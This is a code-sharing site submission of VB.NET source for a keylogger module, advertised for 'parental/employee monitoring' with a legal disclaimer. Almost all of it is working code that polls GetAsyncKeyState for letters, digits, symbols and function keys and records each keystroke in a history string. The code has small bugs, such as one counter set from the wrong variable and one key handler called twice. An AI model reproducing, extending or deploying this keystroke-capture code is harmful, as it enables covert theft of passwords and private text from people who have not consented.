article

Keylogger

Email
Submitted on: 1/6/2015 9:41:00 PM
By: Paul Ishak (from psc cd)  
Level: Advanced
User Rating: By 4 Users
Compatibility: VB.NET
Views: 3854
 
     Key-logger.... Great For Parental/employee Monitoring... Don't Use This Illegally 5 Stars Please

 
				Option Strict On
''''''''''''''''''''''''''''''''''''''''Actual Use Of This Software 
''''''''''''''''''''''''''''''''''''''''Is Considered Illegal
''''''''''''''''''''''''''''''''''''''''If You Do Not Have Consent
''''''''''''''''''''''''''''''''''''''''From The Respective Owner
''''''''''''''''''''''''''''''''''''''''Of The Target Installation Machine
''' 
''' This Software Is Shared Strictly For Educational Purposes
''' This Software Is Free For Non-Malicious Use
''' 
''' 
Module KeyLogMod
Public Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Int32) As UShort
Public History As String
Public CountA As Integer = 0 : Public CountB As Integer = 0 : Public CountC As Integer = 0
Public CountD As Integer = 0 : Public CountE As Integer = 0 : Public CountF As Integer = 0
Public CountG As Integer = 0 : Public CountH As Integer = 0 : Public CountI As Integer = 0
Public CountJ As Integer = 0 : Public CountK As Integer = 0 : Public CountL As Integer = 0
Public CountM As Integer = 0 : Public CountN As Integer = 0 : Public CountO As Integer = 0
Public CountP As Integer = 0 : Public CountQ As Integer = 0 : Public CountR As Integer = 0
Public CountS As Integer = 0 : Public CountT As Integer = 0 : Public CountU As Integer = 0
Public CountV As Integer = 0 : Public CountW As Integer = 0 : Public CountX As Integer = 0
Public CountY As Integer = 0 : Public CountZ As Integer = 0 : Public CountSpace As Integer = 0
Public CountQuestionSlash As Integer = 0 : Public LessThanCommaCount As Integer = 0
Public GreaterThanPeriodCount As Integer = 0 : Public ColinSemiColinCount As Integer = 0
Public QuotationCount As Integer = 0 : Public OpenBracketsCount As Integer = 0
Public CloseBracketsCount As Integer = 0 : Public SlashPipeCount As Integer = 0
Public TildeCount As Integer = 0 : Public Count1 As Integer = 0 : Public Count2 As Integer = 0
Public Count3 As Integer = 0 : Public Count4 As Integer = 0 : Public Count5 As Integer = 0
Public Count6 As Integer = 0 : Public Count7 As Integer = 0 : Public Count8 As Integer = 0
Public Count9 As Integer = 0 : Public Count0 As Integer = 0
Public MinusCount As Integer = 0 : Public PlusCount As Integer = 0
'Functional
Public CountTab As Integer = 0 : Public ControlLeftCount As Integer = 0 : Public ControlRightCount As Integer = 0
Public AltCount As Integer = 0 : Public BackSpaceCount As Integer = 0 : Public EnterCount As Integer = 0
Public PrntScrCount As Integer = 0 : Public EscapeCount As Integer = 0
Public FunctionCount1 As Integer = 0 : Public FunctionCount2 As Integer = 0 : Public FunctionCount3 As Integer = 0
Public FunctionCount4 As Integer = 0 : Public FunctionCount5 As Integer = 0 : Public FunctionCount6 As Integer = 0
Public FunctionCount7 As Integer = 0 : Public FunctionCount8 As Integer = 0 : Public FunctionCount9 As Integer = 0
Public FunctionCount10 As Integer = 0 : Public FunctionCount11 As Integer = 0 : Public FunctionCount12 As Integer = 0
Public FunctionCount13 As Integer = 0 : Public FunctionCount14 As Integer = 0 : Public FunctionCount15 As Integer = 0
Public FunctionCount16 As Integer = 0 : Public FunctionCount17 As Integer = 0 : Public FunctionCount18 As Integer = 0
Public FunctionCount19 As Integer = 0 : Public FunctionCount20 As Integer = 0 : Public FunctionCount21 As Integer = 0
Public FunctionCount22 As Integer = 0 : Public FunctionCount23 As Integer = 0 : Public FunctionCount24 As Integer = 0
Public Count As Integer = 0
Function PressedKey() As String
PressedKey = ""
For I = 32 To 128
'Get the keystate of a specified key
If GetAsyncKeyState(I) <> 0 Then
PressedKey = Chr(I)
Exit For
End If
Next
End Function
Public ReadOnly Property KeyIsDown(ByVal Key As Keys) As Boolean
Get
Return CBool(GetAsyncKeyState(Key) And &H8000US)
End Get
End Property
Public Function FrameKeyLogMAIN() As String
'Use This function In A Timer To Return
'The Keylogger History To A TextBox
'Alphabit
LogAkey() : LogBkey() : LogCkey() : LogDkey() : LogEkey() : LogFkey()
LogGkey() : LogHkey() : LogIkey() : LogJkey() : LogKkey() : LogLkey()
LogMkey() : LogNkey() : LogOkey() : LogPkey() : LogQkey() : LogRkey()
LogSkey() : LogTkey() : LogUkey() : LogVkey() : LogWkey() : LogXkey()
'Numbers
LogNumber1Key() : LogNumber2Key() : LogNumber3Key() : LogNumber4Key()
LogNumber5Key() : LogNumber6Key() : LogNumber7Key() : LogNumber8Key()
LogNumber9Key() : LogNumber0Key()
'Symbols
LogYkey() : LogZkey() : LogSpacekey() : LogQuestionSlashkey() : LogLessThanCommakey()
LogGreaterThanPeriodKey() : LogColinSemiColinKey() : LogQuotationKey()
LogOpenBracketsKey() : LogCloseBracketsKey() : LogSlashPipeKey()
LogTildeKey() : LogMinusKey() : LogPlusKey()
'Functional
LogTabKey() : LogLeftControlKey() : LogRightControlKey() : LogAltKey()
LogBackKey() : LogEnterKey() : LogPrntScrKey() : LogEscapeKey()
'Function Keys
LogF1Key() : LogF2Key() : LogF3Key() : LogF4Key() : LogF5Key()
LogF6Key() : LogF7Key() : LogF8Key() : LogF8Key() : LogF9Key() : LogF10Key()
LogF11Key() : LogF12Key() : LogF13Key() : LogF14Key() : LogF15Key()
LogF16Key() : LogF17Key() : LogF18Key() : LogF19Key() : LogF20Key()
LogF21Key() : LogF22Key() : LogF23Key() : LogF24Key()
Return History
End Function
Public Function CapLocks() As Boolean
If Control.IsKeyLocked(Keys.CapsLock) Then
Return True
Else
Return False
End If
End Function
Public Function Shifted() As Boolean
If KeyIsDown(Keys.LShiftKey) = True Or KeyIsDown(Keys.RShiftKey) = True Then
Return True
Else
Return False
End If
End Function
Public Sub LogAkey()
If KeyIsDown(Keys.A) = True Then
If CountA = 0 Then
'Key Down Initialized
CountA = CountA + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "A"
Else
History = History & "a"
End If
Else
'While Key Is Down
End If
Else
CountA = 0
End If
End Sub
Public Sub LogBkey()
If KeyIsDown(Keys.B) = True Then
If CountB = 0 Then
'Key Down Initialized
CountB = CountB + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "B"
Else
History = History & "b"
End If
Else
'While Key Is Down
End If
Else
CountB = 0
End If
End Sub
Public Sub LogCkey()
If KeyIsDown(Keys.C) = True Then
If CountC = 0 Then
'Key Down Initialized
CountC = CountC + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "C"
Else
History = History & "c"
End If
Else
'While Key Is Down
End If
Else
CountC = 0
End If
End Sub
Public Sub LogDkey()
If KeyIsDown(Keys.D) = True Then
If CountD = 0 Then
'Key Down Initialized
CountD = CountD + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "D"
Else
History = History & "d"
End If
Else
'While Key Is Down
End If
Else
CountD = 0
End If
End Sub
Public Sub LogEkey()
If KeyIsDown(Keys.E) = True Then
If CountE = 0 Then
'Key Down Initialized
CountE = CountE + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "E"
Else
History = History & "e"
End If
Else
'While Key Is Down
End If
Else
CountE = 0
End If
End Sub
Public Sub LogFkey()
If KeyIsDown(Keys.F) = True Then
If CountF = 0 Then
'Key Down Initialized
CountF = CountF + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "F"
Else
History = History & "f"
End If
Else
'While Key Is Down
End If
Else
CountF = 0
End If
End Sub
Public Sub LogGkey()
If KeyIsDown(Keys.G) = True Then
If CountG = 0 Then
'Key Down Initialized
CountG = CountG + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "G"
Else
History = History & "g"
End If
Else
'While Key Is Down
End If
Else
CountG = 0
End If
End Sub
Public Sub LogHkey()
If KeyIsDown(Keys.H) = True Then
If CountH = 0 Then
'Key Down Initialized
CountH = CountH + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "H"
Else
History = History & "h"
End If
Else
'While Key Is Down
End If
Else
CountH = 0
End If
End Sub
Public Sub LogIkey()
If KeyIsDown(Keys.I) = True Then
If CountI = 0 Then
'Key Down Initialized
CountI = CountI + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "I"
Else
History = History & "i"
End If
Else
'While Key Is Down
End If
Else
CountI = 0
End If
End Sub
Public Sub LogJkey()
If KeyIsDown(Keys.J) = True Then
If CountJ = 0 Then
'Key Down Initialized
CountJ = CountJ + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "J"
Else
History = History & "j"
End If
Else
'While Key Is Down
End If
Else
CountJ = 0
End If
End Sub
Public Sub LogKkey()
If KeyIsDown(Keys.K) = True Then
If CountK = 0 Then
'Key Down Initialized
CountK = CountK + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "K"
Else
History = History & "k"
End If
Else
'While Key Is Down
End If
Else
CountK = 0
End If
End Sub
Public Sub LogLkey()
If KeyIsDown(Keys.L) = True Then
If CountL = 0 Then
'Key Down Initialized
CountL = CountL + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "L"
Else
History = History & "l"
End If
Else
'While Key Is Down
End If
Else
CountL = 0
End If
End Sub
Public Sub LogMkey()
If KeyIsDown(Keys.M) = True Then
If CountM = 0 Then
'Key Down Initialized
CountM = CountM + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "M"
Else
History = History & "m"
End If
Else
'While Key Is Down
End If
Else
CountM = 0
End If
End Sub
Public Sub LogNkey()
If KeyIsDown(Keys.N) = True Then
If CountN = 0 Then
'Key Down Initialized
CountN = CountN + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "N"
Else
History = History & "n"
End If
Else
'While Key Is Down
End If
Else
CountN = 0
End If
End Sub
Public Sub LogOkey()
If KeyIsDown(Keys.O) = True Then
If CountO = 0 Then
'Key Down Initialized
CountO = CountO + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "O"
Else
History = History & "o"
End If
Else
'While Key Is Down
End If
Else
CountO = 0
End If
End Sub
Public Sub LogPkey()
If KeyIsDown(Keys.P) = True Then
If CountP = 0 Then
'Key Down Initialized
CountP = CountP + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "P"
Else
History = History & "p"
End If
Else
'While Key Is Down
End If
Else
CountP = 0
End If
End Sub
Public Sub LogQkey()
If KeyIsDown(Keys.Q) = True Then
If CountQ = 0 Then
'Key Down Initialized
CountQ = CountQ + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "Q"
Else
History = History & "q"
End If
Else
'While Key Is Down
End If
Else
CountQ = 0
End If
End Sub
Public Sub LogRkey()
If KeyIsDown(Keys.R) = True Then
If CountR = 0 Then
'Key Down Initialized
CountR = CountR + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "R"
Else
History = History & "r"
End If
Else
'While Key Is Down
End If
Else
CountR = 0
End If
End Sub
Public Sub LogSkey()
If KeyIsDown(Keys.S) = True Then
If CountS = 0 Then
'Key Down Initialized
CountS = CountS + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "S"
Else
History = History & "s"
End If
Else
'While Key Is Down
End If
Else
CountS = 0
End If
End Sub
Public Sub LogTkey()
If KeyIsDown(Keys.T) = True Then
If CountT = 0 Then
'Key Down Initialized
CountT = CountT + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "T"
Else
History = History & "t"
End If
Else
'While Key Is Down
End If
Else
CountT = 0
End If
End Sub
Public Sub LogUkey()
If KeyIsDown(Keys.U) = True Then
If CountU = 0 Then
'Key Down Initialized
CountU = CountU + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "U"
Else
History = History & "u"
End If
Else
'While Key Is Down
End If
Else
CountU = 0
End If
End Sub
Public Sub LogVkey()
If KeyIsDown(Keys.V) = True Then
If CountV = 0 Then
'Key Down Initialized
CountV = CountV + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "V"
Else
History = History & "v"
End If
Else
'While Key Is Down
End If
Else
CountV = 0
End If
End Sub
Public Sub LogWkey()
If KeyIsDown(Keys.W) = True Then
If CountW = 0 Then
'Key Down Initialized
CountW = CountW + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "W"
Else
History = History & "w"
End If
Else
'While Key Is Down
End If
Else
CountW = 0
End If
End Sub
Public Sub LogXkey()
If KeyIsDown(Keys.X) = True Then
If CountX = 0 Then
'Key Down Initialized
CountX = CountX + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "X"
Else
History = History & "x"
End If
Else
'While Key Is Down
End If
Else
CountX = 0
End If
End Sub
Public Sub LogYkey()
If KeyIsDown(Keys.Y) = True Then
If CountY = 0 Then
'Key Down Initialized
CountY = CountY + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "Y"
Else
History = History & "y"
End If
Else
'While Key Is Down
End If
Else
CountY = 0
End If
End Sub
Public Sub LogZkey()
If KeyIsDown(Keys.Z) = True Then
If CountZ = 0 Then
'Key Down Initialized
CountZ = CountZ + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "Z"
Else
History = History & "z"
End If
Else
'While Key Is Down
End If
Else
CountZ = 0
End If
End Sub
Public Sub LogSpacekey()
If KeyIsDown(Keys.Space) = True Then
If CountSpace = 0 Then
'Key Down Initialized
CountSpace = CountSpace + 1
History = History & " "
Else
'While Key Is Down
End If
Else
CountSpace = 0
End If
End Sub
Public Sub LogQuestionSlashkey()
If KeyIsDown(Keys.OemQuestion) = True Then
If CountQuestionSlash = 0 Then
'Key Down Initialized
CountQuestionSlash = CountQuestionSlash + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "?"
Else
History = History & "/"
End If
Else
'While Key Is Down
End If
Else
CountQuestionSlash = 0
End If
End Sub
Public Sub LogLessThanCommakey()
If KeyIsDown(Keys.Oemcomma) = True Then
'MsgBox("d")
If LessThanCommaCount = 0 Then
'Key Down Initialized
LessThanCommaCount = LessThanCommaCount + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "<"
Else
History = History & ","
End If
Else
'While Key Is Down
End If
Else
LessThanCommaCount = 0
End If
End Sub
Public Sub LogGreaterThanPeriodKey()
If KeyIsDown(Keys.OemPeriod) = True Then
'MsgBox("d")
If GreaterThanPeriodCount = 0 Then
'Key Down Initialized
GreaterThanPeriodCount = GreaterThanPeriodCount + 1
If CapLocks() = True Or Shifted() = True Then
History = History & ">"
Else
History = History & "."
End If
Else
'While Key Is Down
End If
Else
GreaterThanPeriodCount = 0
End If
End Sub
Public Sub LogColinSemiColinKey()
If KeyIsDown(Keys.OemSemicolon) = True Then
'MsgBox("d")
If ColinSemiColinCount = 0 Then
'Key Down Initialized
ColinSemiColinCount = ColinSemiColinCount + 1
If CapLocks() = True Or Shifted() = True Then
History = History & ":"
Else
History = History & ";"
End If
Else
'While Key Is Down
End If
Else
ColinSemiColinCount = 0
End If
End Sub
Public Sub LogQuotationKey()
If KeyIsDown(Keys.OemQuotes) = True Then
'MsgBox("d")
If QuotationCount = 0 Then
'Key Down Initialized
QuotationCount = QuotationCount + 1
If CapLocks() = True Or Shifted() = True Then
History = History & """"
Else
History = History & "'"
End If
Else
'While Key Is Down
End If
Else
QuotationCount = 0
End If
End Sub
Public Sub LogOpenBracketsKey()
If KeyIsDown(Keys.OemOpenBrackets) = True Then
'MsgBox("d")
If OpenBracketsCount = 0 Then
'Key Down Initialized
OpenBracketsCount = OpenBracketsCount + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "{"
Else
History = History & "["
End If
Else
'While Key Is Down
End If
Else
OpenBracketsCount = 0
End If
End Sub
Public Sub LogCloseBracketsKey()
If KeyIsDown(Keys.OemCloseBrackets) = True Then
'MsgBox("d")
If CloseBracketsCount = 0 Then
'Key Down Initialized
CloseBracketsCount = CloseBracketsCount + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "}"
Else
History = History & "]"
End If
Else
'While Key Is Down
End If
Else
CloseBracketsCount = 0
End If
End Sub
Public Sub LogSlashPipeKey()
If KeyIsDown(Keys.OemPipe) = True Then
'MsgBox("d")
If SlashPipeCount = 0 Then
'Key Down Initialized
SlashPipeCount = SlashPipeCount + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "|"
Else
History = History & "\"
End If
Else
'While Key Is Down
End If
Else
SlashPipeCount = 0
End If
End Sub
Public Sub LogTildeKey()
If KeyIsDown(Keys.Oemtilde) = True Then
'MsgBox("d")
If TildeCount = 0 Then
'Key Down Initialized
TildeCount = TildeCount + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "~"
Else
History = History & "`"
End If
Else
'While Key Is Down
End If
Else
TildeCount = 0
End If
End Sub
Public Sub LogNumber1Key()
If KeyIsDown(Keys.D1) = True Then
'MsgBox("d")
If Count1 = 0 Then
'Key Down Initialized
Count1 = Count1 + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "!"
Else
History = History & "1"
End If
Else
'While Key Is Down
End If
Else
Count1 = 0
End If
End Sub
Public Sub LogNumber2Key()
If KeyIsDown(Keys.D2) = True Then
'MsgBox("d")
If Count2 = 0 Then
'Key Down Initialized
Count2 = Count2 + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "@"
Else
History = History & "2"
End If
Else
'While Key Is Down
End If
Else
Count2 = 0
End If
End Sub
Public Sub LogNumber3Key()
If KeyIsDown(Keys.D3) = True Then
'MsgBox("d")
If Count3 = 0 Then
'Key Down Initialized
Count3 = Count3 + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "#"
Else
History = History & "3"
End If
Else
'While Key Is Down
End If
Else
Count3 = 0
End If
End Sub
Public Sub LogNumber4Key()
If KeyIsDown(Keys.D4) = True Then
'MsgBox("d")
If Count4 = 0 Then
'Key Down Initialized
Count4 = Count2 + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "$"
Else
History = History & "4"
End If
Else
'While Key Is Down
End If
Else
Count4 = 0
End If
End Sub
Public Sub LogNumber5Key()
If KeyIsDown(Keys.D5) = True Then
'MsgBox("d")
If Count5 = 0 Then
'Key Down Initialized
Count5 = Count5 + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "%"
Else
History = History & "5"
End If
Else
'While Key Is Down
End If
Else
Count5 = 0
End If
End Sub
Public Sub LogNumber6Key()
If KeyIsDown(Keys.D6) = True Then
'MsgBox("d")
If Count6 = 0 Then
'Key Down Initialized
Count6 = Count6 + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "^"
Else
History = History & "6"
End If
Else
'While Key Is Down
End If
Else
Count6 = 0
End If
End Sub
Public Sub LogNumber7Key()
If KeyIsDown(Keys.D7) = True Then
'MsgBox("d")
If Count7 = 0 Then
'Key Down Initialized
Count7 = Count7 + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "&"
Else
History = History & "7"
End If
Else
'While Key Is Down
End If
Else
Count7 = 0
End If
End Sub
Public Sub LogNumber8Key()
If KeyIsDown(Keys.D8) = True Then
'MsgBox("d")
If Count8 = 0 Then
'Key Down Initialized
Count8 = Count8 + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "*"
Else
History = History & "8"
End If
Else
'While Key Is Down
End If
Else
Count8 = 0
End If
End Sub
Public Sub LogNumber9Key()
If KeyIsDown(Keys.D9) = True Then
'MsgBox("d")
If Count9 = 0 Then
'Key Down Initialized
Count9 = Count9 + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "("
Else
History = History & "9"
End If
Else
'While Key Is Down
End If
Else
Count9 = 0
End If
End Sub
Public Sub LogNumber0Key()
If KeyIsDown(Keys.D0) = True Then
'MsgBox("d")
If Count0 = 0 Then
'Key Down Initialized
Count0 = Count0 + 1
If CapLocks() = True Or Shifted() = True Then
History = History & ")"
Else
History = History & "0"
End If
Else
'While Key Is Down
End If
Else
Count0 = 0
End If
End Sub
Public Sub LogMinusKey()
If KeyIsDown(Keys.OemMinus) = True Then
'MsgBox("d")
If MinusCount = 0 Then
'Key Down Initialized
MinusCount = MinusCount + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "_"
Else
History = History & "-"
End If
Else
'While Key Is Down
End If
Else
MinusCount = 0
End If
End Sub
Public Sub LogPlusKey()
If KeyIsDown(Keys.Oemplus) = True Then
'MsgBox("d")
If PlusCount = 0 Then
'Key Down Initialized
PlusCount = PlusCount + 1
If CapLocks() = True Or Shifted() = True Then
History = History & "+"
Else
History = History & "="
End If
Else
'While Key Is Down
End If
Else
PlusCount = 0
End If
End Sub
Public Sub LogTabKey()
If KeyIsDown(Keys.Tab) = True Then
'MsgBox("d")
If CountTab = 0 Then
'Key Down Initialized
CountTab = CountTab + 1
History = History & "[TAB KEY]"
Else
'While Key Is Down
End If
Else
CountTab = 0
End If
End Sub
Public Sub LogLeftControlKey()
If KeyIsDown(Keys.LControlKey) = True Then
'MsgBox("d")
If ControlLeftCount = 0 Then
'Key Down Initialized
ControlLeftCount = ControlLeftCount + 1
History = History & "[LCTRL]"
Else
'While Key Is Down
End If
Else
ControlLeftCount = 0
End If
End Sub
Public Sub LogRightControlKey()
If KeyIsDown(Keys.RControlKey) = True Then
'MsgBox("d")
If ControlRightCount = 0 Then
'Key Down Initialized
ControlRightCount = ControlRightCount + 1
History = History & "[RCTRL]"
Else
'While Key Is Down
End If
Else
ControlRightCount = 0
End If
End Sub
Public Sub LogAltKey()
If KeyIsDown(Keys.Alt) = True Then
'MsgBox("d")
If AltCount = 0 Then
'Key Down Initialized
AltCount = AltCount + 1
History = History & "[ALT]"
Else
'While Key Is Down
End If
Else
AltCount = 0
End If
End Sub
Public Sub LogBackKey()
If KeyIsDown(Keys.Back) = True Then
'MsgBox("d")
If BackSpaceCount = 0 Then
'Key Down Initialized
BackSpaceCount = BackSpaceCount + 1
History = History & "[BACK]"
Else
'While Key Is Down
End If
Else
BackSpaceCount = 0
End If
End Sub
Public Sub LogEnterKey()
If KeyIsDown(Keys.Enter) = True Then
'MsgBox("d")
If EnterCount = 0 Then
'Key Down Initialized
EnterCount = EnterCount + 1
History = History & "[ENT]"
Else
'While Key Is Downt
End If
Else
EnterCount = 0
End If
End Sub
Public Sub LogPrntScrKey()
If KeyIsDown(Keys.PrintScreen) = True Then
'MsgBox("d")
If PrntScrCount = 0 Then
'Key Down Initialized
PrntScrCount = PrntScrCount + 1
History = History & "[PrintScr]"
Else
'While Key Is Downt
End If
Else
PrntScrCount = 0
End If
End Sub
Public Sub LogEscapeKey()
If KeyIsDown(Keys.Escape) = True Then
'MsgBox("d")
If EscapeCount = 0 Then
'Key Down Initialized
EscapeCount = EscapeCount + 1
History = History & "[ESC]"
Else
'While Key Is Downt
End If
Else
EscapeCount = 0
End If
End Sub
Public Sub LogF1Key()
If KeyIsDown(Keys.F1) = True Then
'MsgBox("d")
If FunctionCount1 = 0 Then
'Key Down Initialized
FunctionCount1 = FunctionCount1 + 1
History = History & "[F1]"
Else
'While Key Is Downt
End If
Else
FunctionCount1 = 0
End If
End Sub
Public Sub LogF2Key()
If KeyIsDown(Keys.F2) = True Then
'MsgBox("d")
If FunctionCount2 = 0 Then
'Key Down Initialized
FunctionCount2 = FunctionCount2 + 1
History = History & "[F2]"
Else
'While Key Is Downt
End If
Else
FunctionCount2 = 0
End If
End Sub
Public Sub LogF3Key()
If KeyIsDown(Keys.F3) = True Then
'MsgBox("d")
If FunctionCount3 = 0 Then
'Key Down Initialized
FunctionCount3 = FunctionCount3 + 1
History = History & "[F3]"
Else
'While Key Is Downt
End If
Else
FunctionCount3 = 0
End If
End Sub
Public Sub LogF4Key()
If KeyIsDown(Keys.F4) = True Then
'MsgBox("d")
If FunctionCount4 = 0 Then
'Key Down Initialized
FunctionCount4 = FunctionCount4 + 1
History = History & "[F4]"
Else
'While Key Is Downt
End If
Else
FunctionCount4 = 0
End If
End Sub
Public Sub LogF5Key()
If KeyIsDown(Keys.F5) = True Then
'MsgBox("d")
If FunctionCount5 = 0 Then
'Key Down Initialized
FunctionCount5 = FunctionCount5 + 1
History = History & "[F5]"
Else
'While Key Is Downt
End If
Else
FunctionCount5 = 0
End If
End Sub
Public Sub LogF6Key()
If KeyIsDown(Keys.F6) = True Then
'MsgBox("d")
If FunctionCount6 = 0 Then
'Key Down Initialized
FunctionCount6 = FunctionCount6 + 1
History = History & "[F6]"
Else
'While Key Is Downt
End If
Else
FunctionCount6 = 0
End If
End Sub
Public Sub LogF7Key()
If KeyIsDown(Keys.F7) = True Then
'MsgBox("d")
If FunctionCount7 = 0 Then
'Key Down Initialized
FunctionCount7 = FunctionCount7 + 1
History = History & "[F7]"
Else
'While Key Is Downt
End If
Else
FunctionCount7 = 0
End If
End Sub
Public Sub LogF8Key()
If KeyIsDown(Keys.F8) = True Then
'MsgBox("d")
If FunctionCount8 = 0 Then
'Key Down Initialized
FunctionCount8 = FunctionCount8 + 1
History = History & "[F8]"
Else
'While Key Is Downt
End If
Else
FunctionCount8 = 0
End If
End Sub
Public Sub LogF9Key()
If KeyIsDown(Keys.F9) = True Then
'MsgBox("d")
If FunctionCount9 = 0 Then
'Key Down Initialized
FunctionCount9 = FunctionCount9 + 1
History = History & "[F9]"
Else
'While Key Is Downt
End If
Else
FunctionCount9 = 0
End If
End Sub
Public Sub LogF10Key()
If KeyIsDown(Keys.F10) = True Then
'MsgBox("d")
If FunctionCount10 = 0 Then
'Key Down Initialized
FunctionCount10 = FunctionCount10 + 1
History = History & "[F10]"
Else
'While Key Is Downt
End If
Else
FunctionCount10 = 0
End If
End Sub
Public Sub LogF11Key()
If KeyIsDown(Keys.F11) = True Then
'MsgBox("d")
If FunctionCount11 = 0 Then
'Key Down Initialized
FunctionCount11 = FunctionCount11 + 1
History = History & "[F11]"
Else
'While Key Is Downt
End If
Else
FunctionCount11 = 0
End If
End Sub
Public Sub LogF12Key()
If KeyIsDown(Keys.F12) = True Then
'MsgBox("d")
If FunctionCount12 = 0 Then
'Key Down Initialized
FunctionCount12 = FunctionCount12 + 1
History = History & "[F12]"
Else
'While Key Is Downt
End If
Else
FunctionCount12 = 0
End If
End Sub
Public Sub LogF13Key()
If KeyIsDown(Keys.F13) = True Then
'MsgBox("d")
If FunctionCount13 = 0 Then
'Key Down Initialized
FunctionCount13 = FunctionCount13 + 1
History = History & "[F13]"
Else
'While Key Is Downt
End If
Else
FunctionCount13 = 0
End If
End Sub
Public Sub LogF14Key()
If KeyIsDown(Keys.F14) = True Then
'MsgBox("d")
If FunctionCount14 = 0 Then
'Key Down Initialized
FunctionCount14 = FunctionCount14 + 1
History = History & "[F14]"
Else
'While Key Is Downt
End If
Else
FunctionCount14 = 0
End If
End Sub
Public Sub LogF15Key()
If KeyIsDown(Keys.F15) = True Then
'MsgBox("d")
If FunctionCount15 = 0 Then
'Key Down Initialized
FunctionCount15 = FunctionCount15 + 1
History = History & "[F15]"
Else
'While Key Is Downt
End If
Else
FunctionCount15 = 0
End If
End Sub
Public Sub LogF16Key()
If KeyIsDown(Keys.F16) = True Then
'MsgBox("d")
If FunctionCount16 = 0 Then
'Key Down Initialized
FunctionCount16 = FunctionCount16 + 1
History = History & "[F16]"
Else
'While Key Is Downt
End If
Else
FunctionCount16 = 0
End If
End Sub
Public Sub LogF17Key()
If KeyIsDown(Keys.F17) = True Then
'MsgBox("d")
If FunctionCount17 = 0 Then
'Key Down Initialized
FunctionCount17 = FunctionCount17 + 1
History = History & "[F17]"
Else
'While Key Is Downt
End If
Else
FunctionCount17 = 0
End If
End Sub
Public Sub LogF18Key()
If KeyIsDown(Keys.F18) = True Then
'MsgBox("d")
If FunctionCount18 = 0 Then
'Key Down Initialized
FunctionCount18 = FunctionCount18 + 1
History = History & "[F18]"
Else
'While Key Is Downt
End If
Else
FunctionCount18 = 0
End If
End Sub
Public Sub LogF19Key()
If KeyIsDown(Keys.F19) = True Then
'MsgBox("d")
If FunctionCount19 = 0 Then
'Key Down Initialized
FunctionCount19 = FunctionCount19 + 1
History = History & "[F19]"
Else
'While Key Is Downt
End If
Else
FunctionCount19 = 0
End If
End Sub
Public Sub LogF20Key()
If KeyIsDown(Keys.F20) = True Then
'MsgBox("d")
If FunctionCount20 = 0 Then
'Key Down Initialized
FunctionCount20 = FunctionCount20 + 1
History = History & "[F20]"
Else
'While Key Is Downt
End If
Else
FunctionCount20 = 0
End If
End Sub
Public Sub LogF21Key()
If KeyIsDown(Keys.F21) = True Then
'MsgBox("d")
If FunctionCount21 = 0 Then
'Key Down Initialized
FunctionCount21 = FunctionCount21 + 1
History = History & "[F21]"
Else
'While Key Is Downt
End If
Else
FunctionCount21 = 0
End If
End Sub
Public Sub LogF22Key()
If KeyIsDown(Keys.F22) = True Then
'MsgBox("d")
If FunctionCount22 = 0 Then
'Key Down Initialized
FunctionCount22 = FunctionCount22 + 1
History = History & "[F22]"
Else
'While Key Is Downt
End If
Else
FunctionCount22 = 0
End If
End Sub
Public Sub LogF23Key()
If KeyIsDown(Keys.F23) = True Then
'MsgBox("d")
If FunctionCount23 = 0 Then
'Key Down Initialized
FunctionCount23 = FunctionCount23 + 1
History = History & "[F23]"
Else
'While Key Is Downt
End If
Else
FunctionCount23 = 0
End If
End Sub
Public Sub LogF24Key()
If KeyIsDown(Keys.F24) = True Then
'MsgBox("d")
If FunctionCount24 = 0 Then
'Key Down Initialized
FunctionCount24 = FunctionCount24 + 1
History = History & "[F24]"
Else
'While Key Is Downt
End If
Else
FunctionCount24 = 0
End If
End Sub
End Module


Other 3 submission(s) by this author

 


Report Bad Submission
Use this form to tell us if this entry should be deleted (i.e contains no code, is a virus, etc.).
This submission should be removed because:

Your Vote

What do you think of this article (in the Advanced category)?
(The article with your highest vote will win this month's coding contest!)
Excellent  Good  Average  Below Average  Poor (See voting log ...)
 

Other User Comments


 There are no comments on this submission.
 

Add Your Feedback
Your feedback will be posted below and an email sent to the author. Please remember that the author was kind enough to share this with you, so any criticisms must be stated politely, or they will be deleted. (For feedback not related to this particular article, please click here instead.)
 

To post feedback, first please login.